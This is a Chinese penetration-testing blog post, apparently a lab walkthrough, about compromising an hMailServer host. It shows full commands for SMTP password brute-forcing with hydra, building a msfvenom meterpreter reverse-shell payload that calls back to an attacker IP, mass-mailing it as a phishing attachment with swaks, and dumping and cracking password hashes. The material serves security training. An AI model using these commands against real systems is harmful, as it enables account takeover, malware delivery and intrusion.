0xd00 随笔小记

Back

利用SMTP爆破与钓鱼邮件渗透hMailServerBlur image

初始信息#

目标IP: 10.10.38.108(渗透目标)

相关域名: brownbrick.co(仅允许被动信息收集)

信息收集#

端口扫描#

nmap -T4 -n -sS -sV -Pn -p- 10.10.38.108
shell

目标主机名为BRICK-MAIL,运行hMailServer服务,并开启了rdp服务,WinRM (5985) 服务,其他接口未提供有效信息

收集潜在用户与密码字典#

经过浏览brownbrick.co,发现目标部分邮箱。

image-20250620134738112

通过xpath helper 快速提取所有邮箱

image-20250620134849108

/html/body/div[3]/div/div[2]/div/div/div[2]/p
plaintext

将这些邮箱列表保存到文本文件emails中

oaurelius@brownbrick.co
wrohit@brownbrick.co
lhedvig@brownbrick.co
tchikondi@brownbrick.co
pcathrine@brownbrick.co
fstamatis@brownbrick.co
txt

收集页面上的单词生成字典

cewl --lowercase https://brownbrick.co/index.html > wordlist
shell

初始访问#

爆破smtp服务器#

接下来使用hydra爆破邮箱smtp服务器

hydra -L emails -P wordlist 10.10.38.108 smtp -s 587
shell

成功爆破出一组有效用户凭证

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-20 06:57:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 864 login tries (l:6/p:144), ~54 tries per task
[DATA] attacking smtp://10.10.38.108:587/
[587][smtp] host: 10.10.38.108   login: lhedvig@brownbrick.co   password: bricks	    // [!code highlight]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-20 06:58:04
plaintext

权限提升#

构建恶意Payload#

接下来生成木马来进行钓鱼攻击

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.9.184 LPORT=4444 -f exe > bricks.exe
shell

在 Metasploit Framework (MSF) 中设置相应的监听器等待反弹 shell

msf接收反弹shell截图

发送钓鱼邮件#

利用已获取的 lhedvig@brownbrick.co 邮箱凭证,通过 swaks 工具向之前收集到的邮箱列表 emails中的所有用户发送携带恶意附件 bricks.exe 的钓鱼邮件。

while IFS= read -r recipient_email; do swaks --to "$recipient_email" --server 10.10.38.108 --from lhedvig@brownbrick.co --attach bricks.exe --body '********' --header "Subject: ********" --port 587 --auth-user 'lhedvig@brownbrick.co' --auth-password 'bricks'; done < emails
shell

获取控制权#

等待一段时间后目标执行附件木马,成功获取目标电脑控制权

通过getuid演示对目标的控制能力

通过net user wrohit发现此用户位于管理员组

net user wrohit执行结果

通过meterpreterhashdump快速获取所有用户hash

hashdump执行结果

随后使用cmd5获取当前用户wrohit明文密码

cmd5解密截图

最后即可通过rdp访问目标电脑

利用SMTP爆破与钓鱼邮件渗透hMailServer
https://blog.0xd00.com/blog/windows-pentest-hmailserver
Author 0xd00
Published at 2025年6月20日
Comment seems to stuck. Try to refresh?✨